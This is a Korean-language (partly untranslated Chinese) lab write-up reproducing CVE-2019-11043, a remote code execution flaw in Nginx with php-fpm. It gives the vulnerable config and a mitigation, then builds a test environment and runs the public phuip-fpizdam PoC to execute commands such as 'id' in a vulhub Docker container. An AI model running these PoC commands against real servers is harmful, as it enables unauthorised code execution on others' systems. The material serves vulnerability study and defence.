
CVE-2019-11043 PHP 원격 코드 실행
9월 26일, PHP 공식에서 취약점 공지를 발표했으며, 여기서 Nginx + php-fpm을 사용하는 서버가 일부 구성에서 원격 코드 실행 취약점이 존재한다고 지적했습니다. 또한 이 구성은 널리 사용되어 피해가 큽니다.
취약점 PoC는 10월 22일에 공개되었으며, 국내 보안 미디어에서 신속하게 경보를 발표했습니다.
Nginx에서 fastcgi_split_path_info가 %0a를 포함한 요청을 처리할 때, 개행 문자 \n을 만나면 PATH_INFO가 비어 있게 됩니다. php-fpm은 PATH_INFO가 비어 있는 경우를 처리할 때 논리적 결함이 있습니다. 공격자는 정교한 구성과 이용을 통해 원격 코드 실행을 유발할 수 있습니다.
Nginx + php-fpm 서버가 다음과 같은 구성을 사용하는 경우 원격 코드 실행 취약점이 존재할 수 있습니다.
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
정상 업무에 영향을 미치지 않는 경우, Nginx 구성 파일에서 다음 구성을 삭제하십시오:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
github: https://github.com/neex/phuip-fpizdam
해당 PoC는 FastCGI 변수 _fcgi_data_seg의 최적화를 이용하며, 이 최적화는 PHP7에만 존재하므로 공개된 익스플로잇은 PHP7에서만 유효하며, PHP5 환경에서는 별도의 익스플로잇이 필요합니다.
환경을 구성하고 nginx + php-fpm을 구축하여 작업이 유효한지 확인합니다.
php7 다운로드, 압축 풀고 디렉토리로 이동
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
tar -xzvf php-7.2.4.tar.gz
압축, ssl 등 관련 의존 패키지 설치
yum install -y libxml2*
yum install -y openssl*
yum install -y libcurl*
yum install -y libjpeg*
yum install -y libpng*
yum install -y freetype*
yum install -y libmcrypt*
configure로 소스 코드 컴파일
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
make & make install
php-fpm 구성, 여러 PHP를 구성하는 경우 포트 9000을 9001로 수정 가능
php-fpm 구성 파일 수정:
$ cd /usr/local/php/etc
$ cp php-fpm.conf.default php-fpm.conf
$ vi php-fpm.conf
去掉 pid = run/php-fpm.pid 前面的分号
$ cd php-fpm.d
$ cp www.conf.default www.conf (修改端口)
$ vi www.conf
修改user和group的用户为非root用户
./php-fpm
nginx.conf에 다음 구성을 추가하십시오:
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
nginx 재시작
Go 설치, PoC 코드 컴파일
go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下)
go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
PoC 실행
./phuip-fpizdam http://website.com/index.php
./phuip-fpizdam http://website.com/index.php?a=command
[안타깝게도 구성 환경에 문제가 있어 검증 실패]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
원본 링크: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
해당 Docker 프로젝트 파일 다운로드
docker-compose up -d로 Docker 컨테이너 실행

프로그램 실행, 실행 성공 표시, 취약점을 이용하여 명령어 "id" 실행 결과 반환

Docker 서비스 종료 docker ps docker stop id